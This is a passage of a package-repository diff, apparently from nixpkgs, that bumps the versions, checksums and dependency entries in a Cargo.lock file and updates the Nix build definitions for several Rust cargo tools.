name = "sqlx-macros-core" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0a4ee1e104e00dedb6aa5ffdd1343107b0a4702e862a84320ee7cc74782d96fc" +checksum = "d0bd4519486723648186a08785143599760f7cc81c52334a55d6a83ea1e20841" dependencies = [ + "atomic-write-file", "dotenvy", "either", "heck", @@ -6305,7 +6374,7 @@ dependencies = [ "quote", "serde", "serde_json", - "sha2 0.10.8", + "sha2", "sqlx-core", "sqlx-mysql", "sqlx-postgres", @@ -6318,9 +6387,9 @@ dependencies = [ [[package]] name = "sqlx-mysql" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "864b869fdf56263f4c95c45483191ea0af340f9f3e3e7b4d57a61c7c87a970db" +checksum = "e37195395df71fd068f6e2082247891bc11e3289624bbc776a0cdfa1ca7f1ea4" dependencies = [ "atoi", "base64 0.21.5", @@ -6329,7 +6398,7 @@ dependencies = [ "bytes", "chrono", "crc", - "digest 0.10.7", + "digest", "dotenvy", "either", "futures-channel", @@ -6339,7 +6408,7 @@ dependencies = [ "generic-array", "hex", "hkdf", - "hmac 0.12.1", + "hmac", "itoa", "log", "md-5", @@ -6350,7 +6419,7 @@ dependencies = [ "rsa", "serde", "sha1", - "sha2 0.10.8", + "sha2", "smallvec", "sqlx-core", "stringprep", @@ -6362,9 +6431,9 @@ dependencies = [ [[package]] name = "sqlx-postgres" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb7ae0e6a97fb3ba33b23ac2671a5ce6e3cabe003f451abd5a56e7951d975624" +checksum = "d6ac0ac3b7ccd10cc96c7ab29791a7dd236bd94021f31eec7ba3d46a74aa1c24" dependencies = [ "atoi", "base64 0.21.5", @@ -6380,7 +6449,7 @@ dependencies = [ "futures-util", "hex", "hkdf", - "hmac 0.12.1", + "hmac", "home", "itoa", "log", @@ -6391,7 +6460,7 @@ dependencies = [ "serde", "serde_json", "sha1", - "sha2 0.10.8", + "sha2", "smallvec", "sqlx-core", "stringprep", @@ -6403,9 +6472,9 @@ dependencies = [ [[package]] name = "sqlx-sqlite" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d59dc83cf45d89c555a577694534fcd1b55c545a816c816ce51f20bbe56a4f3f" +checksum = "210976b7d948c7ba9fced8ca835b11cbb2d677c59c79de41ac0d397e14547490" dependencies = [ "atoi", "chrono", @@ -6422,6 +6491,7 @@ dependencies = [ "sqlx-core", "tracing", "url", + "urlencoding", "uuid", ] @@ -6639,7 +6709,7 @@ version = "3.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "fastrand 2.0.1", "redox_syscall 0.4.1", "rustix", @@ -6708,7 +6778,7 @@ version = "1.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "once_cell", ] @@ -6844,7 +6914,7 @@ dependencies = [ "tokio", "tokio-rustls", "tungstenite", - "webpki-roots 0.25.2", + "webpki-roots", ] [[package]] @@ -6869,7 +6939,7 @@ source = "git+https://github.com/shuttle-hq/tokiotest-httpserver?branch=feat/bod dependencies = [ "async-trait", "futures", - "hyper", + "hyper 0.14.27", "lazy_static", "queues", "serde_json", @@ -6970,10 +7040,10 @@ dependencies = [ "bytes", "futures-core", "futures-util", - "h2", - "http", - "http-body", - "hyper", + "h2 0.3.24", + "http 0.2.11", + "http-body 0.4.5", + "hyper 0.14.27", "hyper-timeout", "percent-encoding", "pin-project", @@ -6997,14 +7067,14 @@ dependencies = [ "axum", "base64 0.21.5", "bytes", - "h2", - "http", - "http-body", - "hyper", + "h2 0.3.24", + "http 0.2.11", + "http-body 0.4.5", + "hyper 0.14.27", "hyper-timeout", "percent-encoding", "pin-project", - "prost 0.12.2", + "prost 0.12.3", "tokio", "tokio-stream", "tower", @@ -7043,8 +7113,8 @@ dependencies = [ "bytes", "futures-core", "futures-util", - "http", - "http-body", + "http 0.2.11", + "http-body 0.4.5", "http-range-header", "pin-project-lite", "tower-layer", @@ -7057,15 +7127,13 @@ version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "61c5bb1d698276a2443e5ecfabc1008bf15a36c12e6a7176e7bf089ea9131140" dependencies = [ - "base64 0.21.5", "bitflags 2.4.1", "bytes", "futures-core", "futures-util", - "http", - "http-body", + "http 0.2.11", + "http-body 0.4.5", "http-range-header", - "mime", "pin-project-lite", "tower-layer", "tower-service", @@ -7084,7 +7152,7 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4f8277387194ad48739f3516a54ef4486927ba53b8d889871f3715fb8f99f5aa" dependencies = [ - "http", + "http 0.2.11", "tower-layer", "tower-service", "url-escape", @@ -7159,7 +7227,7 @@ checksum = "c67ac25c5407e7b961fafc6f7e9aa5958fd297aada2d20fa2ae1737357e55596" dependencies = [ "js-sys", "once_cell", - "opentelemetry", + "opentelemetry 0.21.0", "opentelemetry_sdk", "smallvec", "tracing", @@ -7170,6 +7238,16 @@ dependencies = [ ] [[package]] +name = "tracing-serde" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc6b213177105856957181934e4920de57730fc69bf42c37ee5bb664d406d9e1" +dependencies = [ + "serde", + "tracing-core", +] + +[[package]] name = "tracing-subscriber" version = "0.3.18" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -7179,12 +7257,15 @@ dependencies = [ "nu-ansi-term", "once_cell", "regex", + "serde", + "serde_json", "sharded-slab", "smallvec", "thread_local", "tracing", "tracing-core", "tracing-log", + "tracing-serde", ] [[package]] @@ -7194,7 +7275,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c31f240f59877c3d4bb3b3ea0ec5a6a0cff07323580ff8c7a605cd7d08b255d" dependencies = [ "async-trait", - "cfg-if 1.0.0", + "cfg-if", "data-encoding", "enum-as-inner 0.4.0", "futures-channel", @@ -7219,7 +7300,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3119112651c157f4488931a01e586aa459736e9d6046d3bd9105ffb69352d374" dependencies = [ "async-trait", - "cfg-if 1.0.0", + "cfg-if", "data-encoding", "enum-as-inner 0.6.0", "futures-channel", @@ -7243,7 +7324,7 @@ version = "0.21.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e4ba72c2ea84515690c9fcef4c6c660bb9df3036ed1051686de84605b74fd558" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "futures-util", "ipconfig", "lazy_static", @@ -7263,7 +7344,7 @@ version = "0.23.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "10a3e6c3aff1718b3c73e395d1f35202ba2ffa847c6a62eea0db8fb4cfe30be6" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "futures-util", "ipconfig", "lru-cache", @@ -7280,9 +7361,9 @@ dependencies = [ [[package]] name = "try-lock" -version = "0.2.4" +version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" [[package]] name = "trybuild" @@ -7317,7 +7398,7 @@ dependencies = [ "byteorder", "bytes", "data-encoding", - "http", + "http 0.2.11", "httparse", "log", "rand 0.8.5", @@ -7372,9 +7453,9 @@ dependencies = [ [[package]] name = "unicode-bidi" -version = "0.3.13" +version = "0.3.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" +checksum = "6f2528f27a9eb2b21e69c95319b30bd0efd85d09c379741b0f78ea1d86be2416" [[package]] name = "unicode-bom" @@ -7435,12 +7516,12 @@ checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" [[package]] name = "url" -version = "2.4.1" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "143b538f18257fac9cad154828a57c6bf5157e1aa604d4816b5995bf6de87ae5" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" dependencies = [ "form_urlencoded", - "idna 0.4.0", + "idna 0.5.0", "percent-encoding", "serde", ] @@ -7473,51 +7554,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" [[package]] -name = "utoipa" -version = "4.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ff05e3bac2c9428f57ade702667753ca3f5cf085e2011fe697de5bfd49aa72d" -dependencies = [ - "indexmap 2.1.0", - "serde", - "serde_json", - "utoipa-gen", -] - -[[package]] -name = "utoipa-gen" -version = "4.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f0b6f4667edd64be0e820d6631a60433a269710b6ee89ac39525b872b76d61d" -dependencies = [ - "proc-macro-error", - "proc-macro2", - "quote", - "syn 2.0.39", - "uuid", -] - -[[package]] -name = "utoipa-swagger-ui" -version = "4.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "154517adf0d0b6e22e8e1f385628f14fcaa3db43531dc74303d3edef89d6dfe5" -dependencies = [ - "axum", - "mime_guess", - "regex", - "rust-embed", - "serde", - "serde_json", - "utoipa", - "zip", -] - -[[package]] name = "uuid" -version = "1.5.0" +version = "1.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "88ad59a7560b41a70d191093a945f0b87bc1deeda46fb237479708a1d6b6cdfc" +checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" dependencies = [ "getrandom 0.2.11", "serde", @@ -7639,19 +7679,19 @@ dependencies = [ [[package]] name = "wasm-bindgen" -version = "0.2.88" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7daec296f25a1bae309c0cd5c29c4b260e510e6d813c286b19eaadf409d40fce" +checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "wasm-bindgen-macro", ] [[package]] name = "wasm-bindgen-backend" -version = "0.2.88" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e397f4664c0e4e428e8313a469aaa58310d302159845980fd23b0f22a847f217" +checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826" dependencies = [ "bumpalo", "log", @@ -7664,11 +7704,11 @@ dependencies = [ [[package]] name = "wasm-bindgen-futures" -version = "0.4.38" +version = "0.4.39" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9afec9963e3d0994cac82455b2b3502b81a7f40f9a0d32181f7528d9f4b43e02" +checksum = "ac36a15a220124ac510204aec1c3e5db8a22ab06fd6706d881dc6149f8ed9a12" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "js-sys", "wasm-bindgen", "web-sys", @@ -7676,9 +7716,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.88" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5961017b3b08ad5f3fe39f1e79877f8ee7c23c5e5fd5eb80de95abc41f1f16b2" +checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -7686,9 +7726,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.88" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c5353b8dab669f5e10f5bd76df26a9360c748f054f862ff5f3f8aae0c7fb3907" +checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" dependencies = [ "proc-macro2", "quote", @@ -7699,9 +7739,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-shared" -version = "0.2.88" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d046c5d029ba91a1ed14da14dca44b68bf2f124cfbaf741c54151fdb3e0750b" +checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" [[package]] name = "wasm-encoder" @@ -7714,9 +7754,9 @@ dependencies = [ [[package]] name = "wasm-encoder" -version = "0.37.0" +version = "0.38.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d135e8940b69dbee0f5b0a0be9c1cd6fa8b71d774904c13a3fcfc5dc265e43d" +checksum = "0ad2b51884de9c7f4fe2fd1043fccb8dcad4b1e29558146ee57a144d15779f3f" dependencies = [ "leb128", ] @@ -7748,23 +7788,22 @@ dependencies = [ [[package]] name = "wasmparser" -version = "0.117.0" +version = "0.118.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b206de0c992af9f0b51ef2fb9455623e0a19eb68f172cd8ba9cd0e46637f5ab" +checksum = "95ee9723b928e735d53000dec9eae7b07a60e490c85ab54abb66659fc61bfcd9" dependencies = [ - "hashbrown 0.14.2", "indexmap 2.1.0", "semver 1.0.20", ] [[package]] name = "wasmprinter" -version = "0.2.73" +version = "0.2.75" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a4fdb34710b461c868c3f79a10a48b404f23b46fd471ab02bcaa60fd96c5c4b" +checksum = "3d027eb8294904fc715ac0870cebe6b0271e96b90605ee21511e7565c4ce568c" dependencies = [ "anyhow", - "wasmparser 0.117.0", + "wasmparser 0.118.1", ] [[package]] @@ -7777,7 +7816,7 @@ dependencies = [ "async-trait", "bincode", "bumpalo", - "cfg-if 1.0.0", + "cfg-if", "encoding_rs", "fxprof-processed-profile", "indexmap 2.1.0", @@ -7813,7 +7852,7 @@ version = "13.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4711e5969236ecfbe70c807804ff9ffb5206c1dbb5c55c5e8200d9f7e8e76adf" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", ] [[package]] @@ -7830,7 +7869,7 @@ dependencies = [ "rustix", "serde", "serde_derive", - "sha2 0.10.8", + "sha2", "toml 0.5.11", "windows-sys 0.48.0", "zstd", @@ -7864,7 +7903,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4e63f53c61ba05eb815f905c1738ad82c95333dd42ef5a8cc2aa3d7dfb2b08d7" dependencies = [ "anyhow", - "cfg-if 1.0.0", + "cfg-if", "cranelift-codegen", "cranelift-control", "cranelift-entity", @@ -7928,7 +7967,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a615a2cf64a49c0dc659c7d850c6cd377b975e0abfdcf0888b282d274a82e730" dependencies = [ "cc", - "cfg-if 1.0.0", + "cfg-if", "rustix", "wasmtime-asm-macros", "wasmtime-versioned-export-macros", @@ -7944,7 +7983,7 @@ dependencies = [ "addr2line", "anyhow", "bincode", - "cfg-if 1.0.0", + "cfg-if", "cpp_demangle", "gimli", "ittapi", @@ -7980,7 +8019,7 @@ version = "13.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f323977cddf4a262d1b856366b665c5b4d01793c57b79fb42505b9fd9e61e5b" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "libc", "windows-sys 0.48.0", ] @@ -7993,7 +8032,7 @@ checksum = "29e26461bba043f73cb4183f4ce0d606c0eaac112475867b11e5ea36fe1cac8e" dependencies = [ "anyhow", "cc", - "cfg-if 1.0.0", + "cfg-if", "encoding_rs", "indexmap 2.1.0", "libc", @@ -8119,30 +8158,30 @@ dependencies = [ [[package]] name = "wast" -version = "68.0.0" +version = "69.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7bf3081ac6bcb3a5b72a401693b3566feb529dc2b7e7b62ea544c8a30d0f4d05" +checksum = "c1ee37317321afde358e4d7593745942c48d6d17e0e6e943704de9bbee121e7a" dependencies = [ "leb128", "memchr", "unicode-width", - "wasm-encoder 0.37.0", + "wasm-encoder 0.38.1", ] [[package]] name = "wat" -version = "1.0.80" +version = "1.0.82" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fabe07d22a837b3bd5662ba9e980d73de115c040923659a1801934c7ccebe49" +checksum = "aeb338ee8dee4d4cd05e6426683f21c5087dc7cfc8903e839ccf48d43332da3c" dependencies = [ - "wast 68.0.0", + "wast 69.0.1", ] [[package]] name = "web-sys" -version = "0.3.65" +version = "0.3.66" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5db499c5f66323272151db0e666cd34f78617522fb0c1604d31a27c50c206a85" +checksum = "50c24a44ec86bb68fbecd1b3efed7e85ea5621b39b35ef2766b66cd984f8010f" dependencies = [ "js-sys", "wasm-bindgen", @@ -8177,18 +8216,9 @@ dependencies = [ [[package]] name = "webpki-roots" -version = "0.24.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b291546d5d9d1eab74f069c77749f2cb8504a12caa20f0f2de93ddbf6f411888" -dependencies = [ - "rustls-webpki", -] - -[[package]] -name = "webpki-roots" -version = "0.25.2" +version = "0.25.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14247bb57be4f377dfb94c72830b8ce8fc6beac03cf4bf7b9732eadd414123fc" +checksum = "1778a42e8b3b90bff8d0f5032bf22250792889a5cdc752aa0020c84abe3aaf10" [[package]] name = "whoami" @@ -8328,6 +8358,15 @@ dependencies = [ ] [[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] name = "windows-targets" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8358,6 +8397,21 @@ dependencies = [ ] [[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] name = "windows_aarch64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8370,6 +8424,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] name = "windows_aarch64_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8382,6 +8442,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] name = "windows_i686_gnu" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8394,6 +8460,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] name = "windows_i686_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8406,6 +8478,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] name = "windows_x86_64_gnu" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8418,6 +8496,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] name = "windows_x86_64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8430,6 +8514,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] name = "windows_x86_64_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8442,10 +8532,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] name = "winnow" -version = "0.5.19" +version = "0.5.25" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "829846f3e3db426d4cee4510841b71a8e58aa2a76b1132579487ae430ccd9c7b" +checksum = "b7e87b8dfbe3baffbe687eef2e164e32286eff31a5ee16463ce03d991643ec94" dependencies = [ "memchr", ] @@ -8456,18 +8552,42 @@ version = "0.50.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "windows-sys 0.48.0", ] [[package]] name = "winx" -version = "0.36.2" +version = "0.36.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "357bb8e2932df531f83b052264b050b81ba0df90ee5a59b2d1d3949f344f81e5" +checksum = "f9643b83820c0cd246ecabe5fa454dd04ba4fa67996369466d0747472d337346" dependencies = [ "bitflags 2.4.1", - "windows-sys 0.48.0", + "windows-sys 0.52.0", +] + +[[package]] +name = "wiremock" +version = "0.6.0-rc.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94819bffc61c498ea8219c8ba084523abd5465ccb0c11be4d9ebc9fa1fbc3617" +dependencies = [ + "assert-json-diff", + "async-trait", + "base64 0.21.5", + "deadpool", + "futures", + "http 1.0.0", + "http-body-util", + "hyper 1.1.0", + "hyper-util", + "log", + "once_cell", + "regex", + "serde", + "serde_json", + "tokio", + "url", ] [[package]] @@ -8558,18 +8678,18 @@ dependencies = [ [[package]] name = "zerocopy" -version = "0.7.26" +version = "0.7.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e97e415490559a91254a2979b4829267a57d2fcd741a98eee8b722fb57289aa0" +checksum = "1c4061bedbb353041c12f413700357bec76df2c7e2ca8e4df8bac24c6bf68e3d" dependencies = [ "zerocopy-derive", ] [[package]] name = "zerocopy-derive" -version = "0.7.26" +version = "0.7.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd7e48ccf166952882ca8bd778a43502c64f33bf94c12ebe2a7f08e5a0f6689f" +checksum = "b3c129550b3e6de3fd0ba67ba5c81818f9805e58b8d7fee80a3a59d2c9fc601a" dependencies = [ "proc-macro2", "quote", @@ -8583,18 +8703,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "525b4ec142c6b68a2d10f01f7bbf6755599ca3f81ea53b8431b7dd348f5fdb2d" [[package]] -name = "zip" -version = "0.6.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "760394e246e4c28189f19d488c058bf16f564016aefac5d32bb1f3b51d5e9261" -dependencies = [ - "byteorder", - "crc32fast", - "crossbeam-utils", - "flate2", -] - -[[package]] name = "zstd" version = "0.11.2+zstd.1.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" diff --git a/pkgs/development/tools/rust/cargo-shuttle/default.nix b/pkgs/development/tools/rust/cargo-shuttle/default.nix index 9d0a0fc0ca080..befba6ffac563 100644 --- a/pkgs/development/tools/rust/cargo-shuttle/default.nix +++ b/pkgs/development/tools/rust/cargo-shuttle/default.nix @@ -10,18 +10,19 @@ rustPlatform.buildRustPackage rec { pname = "cargo-shuttle"; - version = "0.34.1"; + version = "0.39.0"; src = fetchFromGitHub { owner = "shuttle-hq"; repo = "shuttle"; rev = "v${version}"; - hash = "sha256-SAad1GS092a9LBzlnf1UMLGwKsNBOgWP0gjoW2M0SH4="; + hash = "sha256-U6C6pUl6Re3fYt5KlBItpErboYXctsotunsUpWmZxiY="; }; cargoLock = { lockFile = ./Cargo.lock; outputHashes = { + "async-posthog-0.2.3" = "sha256-V0f9+UKZkqh80p7UjINEbAW9y8cKBmJTRjAJZV3no1M="; "hyper-reverse-proxy-0.5.2-dev" = "sha256-R1ZXGgWvwHWRHmKX823QLqM6ZJW+tzWUXigKkAyI5OE="; "tokiotest-httpserver-0.2.1" = "sha256-IPUaglIDwCUoczCCnX+R1IBqtc0s8b8toKEL8zN3/i8="; }; diff --git a/pkgs/development/tools/rust/cargo-tally/default.nix b/pkgs/development/tools/rust/cargo-tally/default.nix index a288c1516bfc4..cac76677c3311 100644 --- a/pkgs/development/tools/rust/cargo-tally/default.nix +++ b/pkgs/development/tools/rust/cargo-tally/default.nix @@ -2,14 +2,14 @@ rustPlatform.buildRustPackage rec { pname = "cargo-tally"; - version = "1.0.36"; + version = "1.0.39"; src = fetchCrate { inherit pname version; - hash = "sha256-WvOzlz/ACM+TBc5HOiQe4ELhqhAIc8pobRN/9hxmPNI="; + hash = "sha256-7YUS+MaUmZ9dopeailASZQdmJiyVLwdXV0agA1upXsE="; }; - cargoHash = "sha256-uud6cr77XAxzGhN5wWtUh9jD9JWsyCMufx+b2fyIm0Q="; + cargoHash = "sha256-eEfuFYl949Ps9cstO61j4GTdMHk2SjpRpWxK4onTgfw="; buildInputs = lib.optionals stdenv.isDarwin (with darwin.apple_sdk_11_0.frameworks; [ DiskArbitration diff --git a/pkgs/development/tools/rust/cargo-tauri/default.nix b/pkgs/development/tools/rust/cargo-tauri/default.nix index 73256d0f4b3ad..870285879d765 100644 --- a/pkgs/development/tools/rust/cargo-tauri/default.nix +++ b/pkgs/development/tools/rust/cargo-tauri/default.nix @@ -17,20 +17,20 @@ let in rustPlatform.buildRustPackage rec { pname = "tauri"; - version = "1.5.4"; + version = "1.6.1"; src = fetchFromGitHub { owner = "tauri-apps"; repo = pname; rev = "tauri-v${version}"; - hash = "sha256-1rhdvTjA53Zxx3qm/Im2uQBWbYU/HlPPUQ3txq0uLps="; + hash = "sha256-P0/c9GTQRdErwE3/uuZpMqiTl/nFGSaHoWGRtBDjc8M="; }; # Manually specify the sourceRoot since this crate depends on other crates in the workspace. Relevant info at # https://discourse.nixos.org/t/difficulty-using-buildrustpackage-with-a-src-containing-multiple-cargo-workspaces/10202 sourceRoot = "${src.name}/tooling/cli"; - cargoHash = "sha256-CHX4fesnqxoeplqXGFrn4RSfGdrkhKNANvXIwMkWXDs="; + cargoHash = "sha256-+uRjitfaSbjsO1yO5NL3gw+qjx4neiht3BDvWltogX0="; buildInputs = [ openssl ] ++ lib.optionals stdenv.isLinux [ glibc libsoup cairo gtk3 webkitgtk ] ++ lib.optionals stdenv.isDarwin [ CoreServices Security SystemConfiguration ]; diff --git a/pkgs/development/tools/rust/cargo-ui/default.nix b/pkgs/development/tools/rust/cargo-ui/default.nix index 7af23346f0fb6..870b411afc9e1 100644 --- a/pkgs/development/tools/rust/cargo-ui/default.nix +++ b/pkgs/development/tools/rust/cargo-ui/default.nix @@ -2,7 +2,7 @@ , rustPlatform , fetchCrate , pkg-config -, libgit2_1_5 +, libgit2 , openssl , stdenv , expat @@ -28,7 +28,7 @@ rustPlatform.buildRustPackage rec { ]; buildInputs = [ - libgit2_1_5 + libgit2 openssl ] ++ lib.optionals stdenv.isLinux [ expat @@ -48,6 +48,10 @@ rustPlatform.buildRustPackage rec { --add-rpath ${lib.makeLibraryPath [ fontconfig libGL ]} ''; + env = { + LIBGIT2_NO_VENDOR = 1; + }; + meta = with lib; { description = "A GUI for Cargo"; homepage = "https://github.com/slint-ui/cargo-ui"; diff --git a/pkgs/development/tools/rust/cargo-unused-features/default.nix b/pkgs/development/tools/rust/cargo-unused-features/default.nix index f6e3057ecffef..70518087e0864 100644 --- a/pkgs/development/tools/rust/cargo-unused-features/default.nix +++ b/pkgs/development/tools/rust/cargo-unused-features/default.nix @@ -3,7 +3,7 @@ , fetchCrate , curl , pkg-config -, libgit2_1_5 +, libgit2 , openssl , stdenv , darwin 